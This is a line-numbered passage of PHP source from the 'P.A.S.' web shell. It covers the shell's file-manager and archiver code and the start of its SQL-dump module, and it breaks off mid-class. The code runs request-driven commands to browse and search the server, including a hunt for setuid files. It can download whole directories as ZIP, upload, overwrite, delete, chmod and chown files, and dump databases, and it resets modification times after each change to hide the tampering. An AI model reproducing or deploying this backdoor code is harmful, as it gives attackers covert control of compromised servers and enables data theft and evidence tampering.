962 }
963 if ($h) {
964 $h->flock(LOCK_EX);
965 $this->_cdfh = $h;
966 $this->_cdfp = $p;
967 $this->_cdfo = TRUE;
968 return TRUE;
969 }
970 }
971 endif;
972 }
973 return FALSE;
974 }
975 function fileHeader($n, $t) {
976 echo "PK\x03\x04\x14\x00\x08\x00\x00\x00", $t, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", pack('v', strlen($n)), "\x00\x00", $n;
977 ob_start('zipCalc', 1048576);
978 }
979 function fileFooter($n, $t) {
980 ob_end_flush();
981 $v = zipCalc(NULL);
982 $s = pack('V', $v[0]);
983 $c = pack('V', $v[1] ^ 0xffffffff);
984 echo "PK\x07\x08", $c, $s, $s;
985 $fh = $this->_cdfh;
986 $nl = strlen($n);
987 $data = "PK\x01\x02\x00\x00\x14\x00\x08\x00\x00\x00" . $t . $c . $s . $s . pack('v', $nl) . "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" . pack('V', $this->_cdso) . $n;
988 if ($this->_cdfo) {
989 $fh->fwrite($data);
990 $fh->fflush();
991 } else {
992 fwrite($fh, $data);
993 fflush($fh);
994 }
995 ++$this->_cdrc;
996 $this->_cdso+= 46 + $v[0] + $nl;
997 }
998 function addPath($p) {
999 $f = new FileInfo($p);
1000 if ($f->isDir()) {
1001 if (substr($p, -1) !== DSC) $p.= DSC;
1002 $f = NULL;
1003 if (!dirRead($p, array(&$this, 'addPath'))) $this->_flrs[] = substr($p, $this->_bpl);
1004 } else {
1005 $t = packTime($f->getMTime());
1006 $f = substr($p, $this->_bpl);
1007 if (!NIX) $f = str_replace(DSC, '/', $f);
1008 $this->fileHeader($f, $t);
1009 if (!outFile($p)) $this->_flrs[] = $f;
1010 $this->fileFooter($f, $t);
1011 }
1012 }
1013 function close() {
1014 if (count($this->_flrs) > 0) {
1015 $n = 'CANT_READ.txt';
1016 $t = packTime(time());
1017 $this->fileHeader($n, $t);
1018 foreach ($this->_flrs as $v) echo $v, "\n";
1019 $this->fileFooter($n, $t);
1020 }
1021 $fh = $this->_cdfh;
1022 if ($this->_cdfo) {
1023 $s = $fh->ftell();
1024 $fh->fseek(0);
1025 if (!is_int($fh->fpassthru())) while (!$fh->eof()) echo $fh->fread(1048576);
1026 $fh->flock(LOCK_UN);
1027 unset($fh, $this->_cdfh);
1028 } else {
1029 $s = ftell($fh);
1030 fseek($fh, 0);
1031 if (!is_int(fpassthru($fh))) while (!feof($fh)) echo fread($fh, 1048576);
1032 flock($fh, LOCK_UN);
1033 fclose($fh);
1034 }
1035 if ($this->_cdfp !== NULL) delFile($this->_cdfp);
1036 $v = pack('v', $this->_cdrc);
1037 $c = 'Archived by P.A.S. v. ' . VER;
1038 echo "PK\x05\x06\x00\x00\x00\x00", $v, $v, pack('V', $s), pack('V', $this->_cdso), pack('v', strlen($c)), $c;
1039 die;
1040 }
1041 }
1042 function packTime($v) {
1043 $v = getdate($v);
1044 return pack('vv', (($v['hours'] << 11) + ($v['minutes'] << 5) + $v['seconds'] >> 1), ((($v['year'] - 1980) << 9) + ($v['mon'] << 5) + $v['mday']));
1045 }
1046 if (!defined('PHP_INT_MAX')) define('PHP_INT_MAX', intval('10000000000000000000'));
1047 function zipCalc($buff) {
1048 static $crcTbl = NULL, $chrTbl = NULL, $dataSize = 0, $crcSum = 0xffffffff, $shftFix = 0;
1049 if ($crcTbl === NULL) {
1050 $shftFix = PHP_INT_MAX >> 0;
1051 for ($i = 0;$i < 256;++$i) {
1052 $v = $i;
1053 for ($j = 8;$j;--$j) $v = $v & 1 ? $v >> 1 & $shftFix ^ 0xEDB88320 : $v >> 1 & $shftFix;
1054 $crcTbl[] = $v;
1055 $chrTbl[chr($i) ] = $i;
1056 }
1057 $shftFix = PHP_INT_MAX >> 7;
1058 } elseif ($buff === NULL) {
1059 $v = array($dataSize, $crcSum);
1060 $dataSize = 0;
1061 $crcSum = 0xffffffff;
1062 return $v;
1063 }
1064 $c = strlen($buff);
1065 $dataSize+= $c;
1066 for ($i = 0;$i < $c;++$i) $crcSum = $crcTbl[$crcSum & 0xFF ^ $chrTbl[$buff[$i]]] ^ $crcSum >> 8 & $shftFix;
1067 return $buff;
1068 }
1069 function jsonEcho($v) {
1070 static $s = NULL, $r = NULL;
1071 if ($s === NULL) {
1072 $s = array('\\', '"');
1073 $r = array('\u005c', '\u0022');
1074 for ($i = 0;$i <= 0x1F;++$i) {
1075 $s[] = chr($i);
1076 $r[] = sprintf('\u00%02s', dechex($i));
1077 }
1078 }
1079 echo $v === NULL ? '"NULL"' : '"' . str_replace($s, $r, $v) . '"';
1080 }
1081 switch ($D['a']) {
1082 case 'f':
1083 function testProp($a, $v) {
1084 foreach ($a as $i) if (is_array($i)) {
1085 if (count($i) === 2) {
1086 if ($v > $i[0] && $v < $i[1]) return TRUE;
1087 } elseif (isset($i[0])) {
1088 if ($v > $i[0]) return TRUE;
1089 } elseif ($v < $i[1]) return TRUE;
1090 } elseif ($v === $i) return TRUE;
1091 return FALSE;
1092 }
1093 class Searcher {
1094 var $f, $d, $p, $a;
1095 function Searcher($v) {
1096 echo '{"f":[';
1097 $this->f = $v;
1098 $this->d = 0;
1099 $this->p = NULL;
1100 $this->a = array();
1101 }
1102 function filter($v) {
1103 $i = new FileInfo($v);
1104 $k = $i->getFileName();
1105 $f = $this->f;
1106 if ($k === '.' || $k === '..') return;
1107 if ($i->isLink() && !isset($f['l'])) return;
1108 $b = $i->isDir();
1109 if ($b && (!isset($f['d']) || $f['d'] > $this->d)) $this->a[] = $v;
1110 if (isset($f['y']) && ($f['y'] === 1 ? !$b : $b)) return;
1111 if (isset($f['p']) && $i->getMode() < $f['p']) return;
1112 if (!$b && isset($f['u']) && ($i->getPerms() & 0007000) !== 0004000) return;
1113 if (isset($f['n'])) {
1114 if ($k !== $f['n']) return;
1115 } elseif (isset($f['i'])) {
1116 if (strcasecmp($k, $f['i']) !== 0) return;
1117 } elseif (isset($f['r'])) {
1118 if (!preg_match($f['r'], $k)) return;
1119 }
1120 if (isset($f['o']) && !testProp($f['o'], $i->getOwner())) return;
1121 if (isset($f['g']) && !testProp($f['g'], $i->getGroup())) return;
1122 if (isset($f['e']) && !testProp($f['e'], $i->getCTime())) return;
1123 if (isset($f['m']) && !testProp($f['m'], $i->getMTime())) return;
1124 if (!$b && isset($f['z']) && !testProp($f['z'], $i->getSize())) return;
1125 if (!$b && (isset($f['t']) || isset($f['v']) || isset($f['x']))) {
1126 if (!is_string($k = getFile($v))) return;
1127 if (isset($f['t'])) {
1128 if (strpos($k, $f['t']) === FALSE) return;
1129 } elseif (isset($f['v'])) {
1130 if (stristr($k, $f['v']) === FALSE) return;
1131 } elseif (!preg_match($f['x'], $k)) return;
1132 }
1133 $k = $i->getPath();
1134 if ($this->p !== $k) {
1135 if ($this->p !== NULL) echo ']},';
1136 echo '{"p":';
1137 jsonEcho($k);
1138 $this->p = $k;
1139 $k = new FileInfo($k);
1140 echo ',"m":', $k->getMode(), ',"f":[';
1141 }
1142 outFileInfo($i);
1143 }
1144 function search($v) {
1145 $this->a = array();
1146 dirRead($v, array(&$this, 'filter'));
1147 if (!isset($this->f['d']) || $this->f['d'] > $this->d) {
1148 ++$this->d;
1149 $a = $this->a;
1150 foreach ($a as $v) $this->search($v);
1151 }
1152 }
1153 function finish() {
1154 if ($this->p !== NULL) {
1155 echo ']}]';
1156 outFileInfo(NULL, TRUE);
1157 } else echo ']';
1158 die('}');
1159 }
1160 }
1161 function dirRead($p, $f) {
1162 $b = is_string($f);
1163 if (substr($p, -1) !== DSC) $p.= DSC;
1164 if ($v = opendir($p)) {
1165 while (($i = readdir($v)) !== FALSE) if ($i !== '.' && $i !== '..') $b ? $f($p . $i) : $f[0]->{$f[1]}($p . $i);
1166 closedir($v);
1167 return TRUE;
1168 }
1169 if ($v = dir($p)) {
1170 while (($i = $v->read()) !== FALSE) if ($i !== '.' && $i !== '..') $b ? $f($p . $i) : $f[0]->{$f[1]}($p . $i);
1171 $v->close();
1172 return TRUE;
1173 }
1174 if (PHP_VERSION >= '5'):
1175 try {
1176 $v = new DirectoryIterator($p);
1177 }
1178 catch(Exception $e) {
1179 $v = FALSE;
1180 }
1181 if ($v) {
1182 foreach ($v as $i) {
1183 $n = $i->getFileName();
1184 if ($n !== '.' && $n !== '..') $b ? $f($i) : $f[0]->{$f[1]}($i);
1185 }
1186 unset($i, $v);
1187 return TRUE;
1188 }
1189 try {
1190 $v = new RecursiveDirectoryIterator($p);
1191 }
1192 catch(Exception $e) {
1193 $v = FALSE;
1194 }
1195 if ($v) {
1196 foreach ($v as $i) $b ? $f($i) : $f[0]->{$f[1]}($i);
1197 unset($i, $v);
1198 return TRUE;
1199 }
1200 if (PHP_VERSION >= '5.3') {
1201 try {
1202 $v = new FilesystemIterator($p);
1203 }
1204 catch(Exception $e) {
1205 $v = FALSE;
1206 }
1207 if ($v) {
1208 foreach ($v as $i) $b ? $f($i) : $f[0]->{$f[1]}($i);
1209 unset($i, $v);
1210 return TRUE;
1211 }
1212 }
1213 $v = defined('SCANDIR_SORT_NONE') ? scandir($p, SCANDIR_SORT_NONE) : scandir($p);
1214 if ($v !== FALSE) {
1215 foreach ($v as $i) if ($i !== '.' && $i !== '..') $b ? $f($p . $i) : $f[0]->{$f[1]}($p . $i);
1216 return TRUE;
1217 }
1218 endif;
1219 if (PHP_VERSION >= '4.3' && defined('GLOB_BRACE') && ($v = glob($p . DSC . '{,.}*', GLOB_NOESCAPE | GLOB_NOSORT | GLOB_BRACE))) {
1220 foreach ($v as $i) {
1221 $n = fileName($i);
1222 if ($n !== '.' && $n !== '..') $b ? $f($i) : $f[0]->{$f[1]}($i);
1223 }
1224 return TRUE;
1225 }
1226 if (PHP_VERSION >= '5'):
1227 if (PHP_VERSION >= '5.3') {
1228 try {
1229 $v = new GlobIterator($p . '*');
1230 }
1231 catch(Exception $e) {
1232 $v = FALSE;
1233 }
1234 if ($v && count($v) > 0) {
1235 foreach ($v as $i) $b ? $f($i) : $f[0]->{$f[1]}($i);
1236 unset($i, $v);
1237 return TRUE;
1238 }
1239 }
1240 endif;
1241 return FALSE;
1242 }
1243 function delDir($p) {
1244 dirRead($p, 'delFOD');
1245 return rmdir($p);
1246 }
1247 function delFOD($f) {
1248 $f = new FileInfo($f);
1249 $n = $f->getFileName();
1250 if ($n !== '.' && $n !== '..') return (!$f->isLink() && $f->isDir()) ? delDir($f->getPathName()) : delFile($f->getPathName());
1251 }
1252 function isInt($v) {
1253 return (string)$v === (string)(int)$v;
1254 }
1255 function jsonFileInfo($f, $b) {
1256 echo '[';
1257 jsonEcho($b ? $f->getPathName() : $f->getFileName());
1258 echo ',', $f->isDir() ? 'null' : $f->getSize(), ',', $f->getMTime(), ',', $f->getMode(), ',"', $f->getPerms(), '"';
1259 if (NIX) {
1260 echo ',', $f->getOwner(), ',', $f->getGroup();
1261 if ($b) {
1262 echo ',';
1263 jsonEcho(uName($f->getOwner()));
1264 echo ',';
1265 jsonEcho(gName($f->getGroup()));
1266 }
1267 }
1268 if ($f->isLink()) {
1269 echo ',';
1270 jsonEcho($f->getLinkTarget());
1271 }
1272 echo ']';
1273 }
1274 function outFileInfo($f, $b = NULL) {
1275 static $p = NULL, $o = array(), $g = array();
1276 if ($b === TRUE) {
1277 if (!NIX || count($o) === 0) return;
1278 $b = FALSE;
1279 echo ',"o":{';
1280 foreach ($o as $k => $v) {
1281 if ($b) echo ',';
1282 else $b = TRUE;
1283 echo '"', $k, '":';
1284 jsonEcho(uName($k));
1285 }
1286 $b = FALSE;
1287 echo '},"g":{';
1288 foreach ($g as $k => $v) {
1289 if ($b) echo ',';
1290 else $b = TRUE;
1291 echo '"', $k, '":';
1292 jsonEcho(gName($k));
1293 }
1294 echo '}';
1295 return;
1296 }
1297 if ($b === FALSE) {
1298 $p = NULL;
1299 return;
1300 }
1301 if (!isset($f->fp)) $f = new FileInfo($f);
1302 if ($p === $f->getPath()) echo ',';
1303 else $p = $f->getPath();
1304 jsonFileInfo($f, FALSE);
1305 if (NIX) {
1306 $o[$f->getOwner() ] = 1;
1307 $g[$f->getGroup() ] = 1;
1308 }
1309 }
1310 function outFile($p) {
1311 if (is_int(readfile($p))) return TRUE;
1312 if (copy($p, 'php://output')) return TRUE;
1313 if ($v = fopen($p, 'rb')) {
1314 if (!is_int(fpassthru($v))) while (!feof($v)) echo fread($v, 1048576);
1315 fclose($v);
1316 return TRUE;
1317 }
1318 if (defined('FORCE_GZIP')) {
1319 if (is_int(readgzfile($p))) return TRUE;
1320 if ($v = gzopen($p)) {
1321 if (!is_int(gzpassthru($v))) while (!gzeof($v)) echo gzread($v, 1048576);
1322 gzclose($v);
1323 return TRUE;
1324 }
1325 }
1326 if (PHP_VERSION >= '5'):
1327 if (PHP_VERSION >= '5.1') {
1328 try {
1329 $v = new SplFileObject($p, 'rb');
1330 }
1331 catch(Exception $e) {
1332 $v = FALSE;
1333 }
1334 if ($v) {
1335 if (!is_int($v->fpassthru())) while (!$v->eof()) echo $v->fgets();
1336 unset($v);
1337 return TRUE;
1338 }
1339 }
1340 endif;
1341 if (PHP_VERSION >= '4.3') {
1342 $v = file_get_contents($p);
1343 if (is_string($v)) {
1344 echo $v;
1345 return TRUE;
1346 }
1347 }
1348 $v = file($p);
1349 if (is_array($v)) {
1350 foreach ($v as $i) echo $i;
1351 return TRUE;
1352 }
1353 if (defined('FORCE_GZIP')) {
1354 $v = gzfile($p);
1355 if (is_array($v)) {
1356 foreach ($v as $i) echo $i;
1357 return TRUE;
1358 }
1359 }
1360 return FALSE;
1361 }
1362 if (isset($D['s'])) {
1363 $a = array();
1364 $e = '{"e":"You have syntax error in %s pattern"}';
1365 if (isset($D['n'])) {
1366 if (isset($D['w'])) {
1367 $r = '#^';
1368 $c = '';
1369 $p = '';
1370 $q = 0;
1371 $b = FALSE;
1372 for ($i = 0, $l = strlen($D['n']);$i < $l;++$i) {
1373 $c = $D['n'][$i];
1374 if ($q > 0 && $c !== '?') {
1375 $r.= '.';
1376 if ($q > 1) $r.= '{' . $q . '}';
1377 $q = 0;
1378 }
1379 switch ($c) {
1380 case '*':
1381 if ($c !== $p) $r.= '.*';
1382 break;
1383 case '?':
1384 ++$q;
1385 break;
1386 case '\\':
1387 if ($i + 1 >= $l) die(sprintf($e, 'name'));
1388 $r.= $c . $D['n'][++$i];
1389 break;
1390 case '[':
1391 ++$b;
1392 $r.= $c;
1393 break;
1394 case ']':
1395 --$b;
1396 $r.= $c;
1397 break;
1398 case '-':
1399 $r.= $b > 0 ? $c : '\\-';
1400 break;
1401 case '!':
1402 $r.= $p === '[' ? '^' : '\\!';
1403 break;
1404 default:
1405 $r.= addcslashes($c, '.+^$(){}=<>|:#');
1406 break;
1407 }
1408 $p = $c;
1409 }
1410 if ($q > 0) {
1411 $r.= '.';
1412 if ($q > 1) $r.= '{' . $q . '}';
1413 }
1414 $r.= '$#';
1415 if (isset($D['i'])) $r.= 'i';
1416 if (preg_match($r, '') === FALSE) die(sprintf($e, 'name'));
1417 $a['r'] = $r;
1418 } elseif (isset($D['i'])) $a['i'] = $D['n'];
1419 else $a['n'] = $D['n'];
1420 }
1421 if (isset($D['t'])) {
1422 if (isset($D['x'])) {
1423 if (preg_match('#' . $D['x'] . '#', '') === FALSE) die(sprintf($e, 'text'));
1424 $a['x'] = '#' . $D['t'] . '#';
1425 if (isset($D['v'])) $a['x'].= 'i';
1426 } elseif (isset($D['v'])) $a['v'] = $D['t'];
1427 else $a['t'] = $D['t'];
1428 }
1429 $i = array('l', 'd', 'y', 'p', 'u');
1430 foreach ($i as $k) if (isset($D[$k])) $a[$k] = (int)$D[$k];
1431 $i = array('o', 'g', 'z');
1432 foreach ($i as $k) if (isset($D[$k])) {
1433 $s = explode(',', $D[$k]);
1434 foreach ($s as $n => $v) if (strpos($v, '-')) {
1435 $v = explode('-', $v, 2);
1436 $a[$k][$n] = array((int)$v[0], (int)$v[1]);
1437 } else switch (substr(trim($v), 0, 1)) {
1438 case '>':
1439 $a[$k][$n][0] = (int)substr(trim($v), 1);
1440 break;
1441 case '<':
1442 $a[$k][$n][1] = (int)substr(trim($v), 1);
1443 break;
1444 default:
1445 $a[$k][$n] = (int)$v;
1446 break;
1447 }
1448 }
1449 $i = array('e', 'm');
1450 foreach ($i as $k) if (isset($D[$k])) {
1451 $s = explode(',', $D[$k]);
1452 foreach ($s as $n => $v) if (strpos(' - ', $v)) {
1453 $v = explode(' - ', $v, 2);
1454 $a[$k][$n] = array(strtotime(trim($v[0]) . 'UTC'), strtotime(trim($v[1]) . 'UTC'));
1455 } else switch (substr(trim($v), 0, 1)) {
1456 case '>':
1457 $a[$k][$n][0] = strtotime(substr(trim($v), 1) . 'UTC');
1458 break;
1459 case '<':
1460 $a[$k][$n][1] = strtotime(substr(trim($v), 1) . 'UTC');
1461 break;
1462 default:
1463 $a[$k][$n] = strtotime(trim($v) . 'UTC');
1464 break;
1465 }
1466 }
1467 $s = new Searcher($a);
1468 foreach ($D['s'] as $v) $s->search($v);
1469 $s->finish();
1470 }
1471 if (isset($D['g'])) {
1472 if ($D['g'] === '~' || $D['g'] === '') $D['g'] = selfPath();
1473 $i = new FileInfo($D['g']);
1474 if (substr($D['g'], -1) === DSC || $i->isDir()) {
1475 echo '{"p":';
1476 if (substr($D['g'], -1) !== DSC) $D['g'].= DSC;
1477 jsonEcho($D['g']);
1478 echo ',"m":', $i->getMode(), ',"f":[';
1479 dirRead($i->getPathName(), 'outFileInfo');
1480 echo ']';
1481 outFileInfo(NULL, TRUE);
1482 die('}');
1483 }
1484 echo "\x01\x02";
1485 $b = outFile($D['g']);
1486 echo "\x03\x1E";
1487 if ($b) {
1488 echo "\x06[";
1489 jsonEcho($D['g']);
1490 echo ',', $i->getMode(), ']';
1491 } else echo "\x15", $D['g'];
1492 die("\x17\x04\x10");
1493 }
1494 if (isset($D['i'])) {
1495 jsonFileInfo(new FileInfo($D['i']), TRUE);
1496 die;
1497 }
1498 if (isset($D['h'])) {
1499 echo '{';
1500 $a = array();
1501 $t = array();
1502 $e = array();
1503 $b = NULL;
1504 $m = count($D['h']) > 1;
1505 if ($m && isset($D['p']) && substr($D['p'], -1) !== DSC) $D['p'].= DSC;
1506 if (isset($D['t'])) $D['t'] = strtotime($D['t'] . 'UTC');
1507 if (isset($D['e'])) $D['e'] = intval($D['e'], 8);
1508 if (isset($D['r']) && isInt($D['r'])) $D['r'] = (int)$D['r'];
1509 if (isset($D['o']) && isInt($D['o'])) $D['o'] = (int)$D['o'];
1510 sort($D['h']);
1511 foreach ($D['h'] as $v) {
1512 if (isset($D['p'])) {
1513 parsePath($v, $s, $n);
1514 if ($m) {
1515 $d = $D['p'];
1516 $p = $d . $n;
1517 } else {
1518 $d = filePath($D['p']);
1519 $p = $D['p'];
1520 }
1521 $c = array();
1522 if (!isset($t[$s])) {
1523 $i = new FileInfo($s);
1524 $i = $i->getMTime();
1525 if ($i) $c[$s] = $i;
1526 }
1527 if (!isset($t[$d])) {
1528 $i = new FileInfo($d);
1529 $i = $i->getMTime();
1530 if ($i) $c[$d] = $i;
1531 } else $i = $t[$d];
1532 if (!isset($D['t']) && $i) $c[$p] = $i;
1533 if (rename($v, $p)) {
1534 if ($s !== $b) {
1535 echo $b === NULL ? '"r":[' : ']},';
1536 echo '{"p":';
1537 jsonEcho($s);
1538 echo ',"f":[';
1539 $b = $s;
1540 } else echo ',';
1541 jsonEcho($n);
1542 $t+= $c;
1543 $v = $p;
1544 $a[$p] = 1;
1545 } else $e[$v][] = 'path';
1546 }
1547 if (isset($D['t'])) {
1548 if (touch($v, $D['t'])) $a[$v] = 1;
1549 else $e[$v][] = 'modified date';
1550 }
1551 if (isset($D['e'])) {
1552 if (chmod($v, $D['e'])) $a[$v] = 1;
1553 else $e[$v][] = 'permission';
1554 }
1555 if (isset($D['r'])) {
1556 if (chgrp($v, $D['r'])) $a[$v] = 1;
1557 else $e[$v][] = 'group';
1558 }
1559 if (isset($D['o'])) {
1560 if (chown($v, $D['o'])) $a[$v] = 1;
1561 else $e[$v][] = 'owner';
1562 }
1563 }
1564 $b = $b !== NULL;
1565 if ($b) echo ']}]';
1566 if (count($a) > 0) {
1567 if ($b) echo ',';
1568 else $b = TRUE;
1569 echo '"c":[{"p":';
1570 foreach ($t as $k => $v) touch($k, $v);
1571 clearstatcache();
1572 ksort($a);
1573 $p = NULL;
1574 foreach ($a as $v => $k) {
1575 $k = filePath($v);
1576 if ($k !== $p) {
1577 if ($p !== NULL) echo ']},{"p":';
1578 jsonEcho($k);
1579 echo ',"f":[';
1580 $p = $k;
1581 }
1582 outFileInfo($v);
1583 }
1584 echo ']}]';
1585 outFileInfo(NULL, TRUE);
1586 }
1587 if ($e) {
1588 if ($b) echo ',';
1589 $b = FALSE;
1590 echo '"e":[';
1591 foreach ($e as $k => $v) {
1592 if ($b) echo ',';
1593 else $b = TRUE;
1594 jsonEcho(implode(', ', $v) . ' for ' . $k);
1595 }
1596 echo ']';
1597 }
1598 die('}');
1599 }
1600 if (isset($D['d'])) {
1601 if (is_array($D['d'])) {
1602 $v = new PZIP();
1603 $v->init($D['DBP']);
1604 foreach ($D['d'] as $i) $v->addPath($i);
1605 $v->close();
1606 }
1607 $v = new FileInfo($D['d']);
1608 if ($v->isDir()) {
1609 $v = new PZIP();
1610 $v->init($D['d']);
1611 $v->addPath($D['d']);
1612 $v->close();
1613 }
1614 if (outFile($D['d']) || defined('CED')) die;
1615 header('Content-Disposition: inline');
1616 header('Content-Type: application/json; charset=' . CSE);
1617 die('0');
1618 }
1619 if (isset($D['u'])) {
1620 echo '{';
1621 $a = array();
1622 $e = array();
1623 $b = FALSE;
1624 $k = NULL;
1625 sort($D['u']);
1626 foreach ($D['u'] as $v) {
1627 parsePath($v, $p, $n);
1628 if (!isset($a[$p])) {
1629 $t = new FileInfo($p);
1630 $t = $t->getMTime();
1631 } else $t = FALSE;
1632 if (delFOD($v)) {
1633 if ($t) $a[$p] = $t;
1634 if (!$b) {
1635 echo '"r":[';
1636 $b = TRUE;
1637 }
1638 if ($p !== $k) {
1639 if ($k !== NULL) echo ']},';
1640 echo '{"p":';
1641 jsonEcho($p);
1642 echo ',"f":[';
1643 $k = $p;
1644 } else echo ',';
1645 jsonEcho($n);
1646 } else $e[] = $v;
1647 }
1648 if ($b) echo ']}]';
1649 if ($e) {
1650 if ($b) echo ',';
1651 echo '"e":[';
1652 foreach ($e as $k => $v) {
1653 if ($k > 0) echo ',';
1654 jsonEcho($v);
1655 }
1656 echo ']';
1657 }
1658 foreach ($a as $k => $v) touch($k, $v);
1659 die('}');
1660 }
1661 if (!empty($_FILES['f'])) {
1662 echo '{';
1663 $a = array();
1664 $b = FALSE;
1665 $i = new FileInfo($D['p']);
1666 $i = $i->getMTime();
1667 foreach ($_FILES['f']['error'] as $k => $v) {
1668 $n = $_FILES['f']['name'][$k];
1669 if ($v === 0) {
1670 $p = $D['p'] . $n;
1671 $t = $_FILES['f']['tmp_name'][$k];
1672 if (move_uploaded_file($t, $p) || rename($t, $p) || copy($t, $p) || link($t, $p) || (is_string($c = getFile($t)) && writeFile($p, $c))) {
1673 $a[] = $n;
1674 if ($i) touch($p, $i);
1675 continue;
1676 }
1677 }
1678 if ($b) echo ',';
1679 else {
1680 $b = TRUE;
1681 echo '"e":[';
1682 }
1683 jsonEcho($v . $n);
1684 }
1685 if ($b) echo ']';
1686 if (count($a) > 0) {
1687 if ($i) {
1688 touch($D['p'], $i);
1689 clearstatcache();
1690 }
1691 if ($b) echo ',';
1692 echo '"p":';
1693 jsonEcho($D['p']);
1694 echo ',"f":[';
1695 foreach ($a as $v) outFileInfo($D['p'] . $v);
1696 echo ']';
1697 outFileInfo(NULL, TRUE);
1698 }
1699 die('}');
1700 }
1701 if (isset($D['w'])) {
1702 $a = array();
1703 if (is_file($D['w']) || file_exists($D['w'])) {
1704 $i = new FileInfo($D['w']);
1705 if ($i->isDir()) die('{"e":"(path already exists as directory)"}');
1706 } else {
1707 $p = filePath($D['w']);
1708 $i = new FileInfo($p);
1709 $a[$p] = $i->getMTime();
1710 }
1711 $a[$D['w']] = $i->getMTime();
1712 switch ($D['e']) {
1713 case 0:
1714 $v = "\r\n";
1715 break;
1716 case 1:
1717 $v = "\n";
1718 break;
1719 case 2:
1720 $v = "\r";
1721 break;
1722 }
1723 $D['t'] = strtr($D['t'], array("\r\n" => $v, "\r" => $v, "\n" => $v));
1724 if (writeFile($D['w'], $D['t'])) {
1725 foreach ($a as $k => $v) if ($v) touch($k, $v);
1726 clearstatcache();
1727 $i = new FileInfo($D['w']);
1728 echo "\x01\x02";
1729 $b = outFile($D['w']);
1730 echo "\x03\x1E";
1731 if ($b) {
1732 echo "\x06";
1733 jsonFileInfo($i, TRUE);
1734 } else echo "\x15", $D['w'];
1735 die("\x17\x04\x10");
1736 }
1737 die('{"e":""}');
1738 }
1739 if (isset($D['l'])) {
1740 $p = filePath($D['l']);
1741 $t = new FileInfo($p);
1742 $t = $t->getMTime();
1743 if ($D['t'] == 0 ? symlink($D['p'], $D['l']) : link($D['p'], $D['l'])) {
1744 if ($t) {
1745 if ($D['t'] != 0) touch($D['l'], $t);
1746 touch($p, $t);
1747 clearstatcache();
1748 }
1749 jsonFileInfo(new FileInfo($D['l']), TRUE);
1750 die;
1751 }
1752 die('{"e":""}');
1753 }
1754 if (isset($D['m'])) {
1755 if (is_file($D['m']) || is_dir($D['m']) || file_exists($D['m'])) die('{"e":"(path already exists)"}');
1756 $p = filePath($D['m']);
1757 $i = new FileInfo($p);
1758 $i = $i->getMTime();
1759 if (mkdir($D['m'], 0755)) {
1760 if ($i) {
1761 touch($D['m'], $i);
1762 touch($p, $i);
1763 clearstatcache();
1764 }
1765 jsonFileInfo(new FileInfo($D['m']), TRUE);
1766 die;
1767 }
1768 die('{"e":""}');
1769 }
1770 if (isset($D['f'])) {
1771 echo '{';
1772 $a = array();
1773 $m = array();
1774 $c = array();
1775 $b = FALSE;
1776 $t = new FileInfo($D['f']);
1777 $t = $t->getMTime();
1778 if (isset($D['v'])) foreach ($D['v'] as $v) {
1779 $i = new FileInfo($v);
1780 $j = $i->getMTime();
1781 $f = $D['f'] . $i->getFileName();
1782 $s = $i->getPath();
1783 if (!isset($a[$s])) {
1784 $n = new FileInfo($s);
1785 $n = $n->getMTime();
1786 } else $n = FALSE;
1787 if (rename($v, $f)) {
1788 if ($n) $a[$s] = $n;
1789 if ($j) $a[$f] = $j;
1790 $m[$s][] = $i->getFileName();
1791 } else {
1792 if ($b) echo ',';
1793 else {
1794 echo '"e":[';
1795 $b = TRUE;
1796 }
1797 jsonEcho($v);
1798 }
1799 }
1800 if (isset($D['p'])) foreach ($D['p'] as $v) {
1801 $i = new FileInfo($v);
1802 $f = $D['f'] . $i->getFileName();
1803 if (copy($v, $f) || link($v, $f) || (!$i->isDir() && is_string($s = getFile($v)) && writeFile($f, $s))) {
1804 $v = $i->getMTime();
1805 if ($v) $a[$f] = $v;
1806 $c[] = $i->getFileName();
1807 } else {
1808 if ($b) echo ',';
1809 else {
1810 echo '"e":[';
1811 $b = TRUE;
1812 }
1813 jsonEcho($v);
1814 }
1815 }
1816 if ($b) echo ']';
1817 if (count($m) > 0 || count($c) > 0) {
1818 foreach ($a as $k => $v) touch($k, $v);
1819 if ($t) touch($D['f'], $t);
1820 clearstatcache();
1821 if ($b) echo ',';
1822 echo '"p":';
1823 jsonEcho($D['f']);
1824 if (count($m) > 0) {
1825 echo ',"m":[';
1826 $b = FALSE;
1827 foreach ($m as $k => $a) {
1828 if ($b) echo ',';
1829 else $b = TRUE;
1830 echo '{"p":';
1831 jsonEcho($k);
1832 outFileInfo(NULL, FALSE);
1833 echo ',"f":[';
1834 foreach ($a as $v) outFileInfo($D['f'] . $v);
1835 echo ']}';
1836 }
1837 echo ']';
1838 }
1839 if (count($c) > 0) {
1840 echo ',"c":[';
1841 $b = FALSE;
1842 foreach ($c as $v) outFileInfo($D['f'] . $v);
1843 echo ']';
1844 }
1845 outFileInfo(NULL, TRUE);
1846 }
1847 die('}');
1848 }
1849 break;
1850 case 's':
1851 define('T_DMPHDR', "-- \n-- This SQL dump created by P.A.S. v." . VER . "\n-- \n-- Started at %s UTC\n");
1852 define('T_DMPFTR', "-- Finished at %s UTC");
1853 define('E_SLCTDT', "Can't load data from table %s\n");
1854 define('E_CNSTCS', "Can't construct create statement for table %s\n");
1855 define('E_CHNGDB', "Can't change database to %s for dump table %s.%s\n");
1856 class SQLBase {
1857 var $_cnct, $_res;
1858 function connError($m, $h, $u, $p, $b) {
1859 echo '{"e":';
1860 jsonEcho($m ? $m : "Can't connect to SQL server" . ($h === NULL ? '' : ' ' . $h) . ($u === NULL ? '' : ' as user "' . $u . '"') . ($p === NULL ? '' : ' with password "' . $p . '"') . ($b === NULL ? '' : ' and select database "' . $b . '"') . '.');
1861 die('}');
1862 }
1863 function getError() {
1864 $v = $this->_cnct->errorInfo();
1865 return $v[2];
1866 }
1867 function tryQueries($a) {
1868 $i = $this->_cnct;
1869 foreach ($a as $v) if ($this->_res = $i->query($v)) return TRUE;
1870 return FALSE;
1871 }
1872 function fetchAssoc() {
1873 return $this->_res->fetch(PDO::FETCH_ASSOC);
1874 }
1875 function fetchRow() {
1876 return $this->_res->fetch(PDO::FETCH_NUM);
1877 }
1878 function query($v) {
1879 return ($this->_res = $this->_cnct->query($v));
1880 }
1881 function fetchBase() {
1882 return $this->_res->fetchColumn(0);
1883 }
1884 function fetchTable() {
1885 return $this->_res->fetchColumn(0);
1886 }
1887 function getColumnsNames($v) {
1888 $a = array();
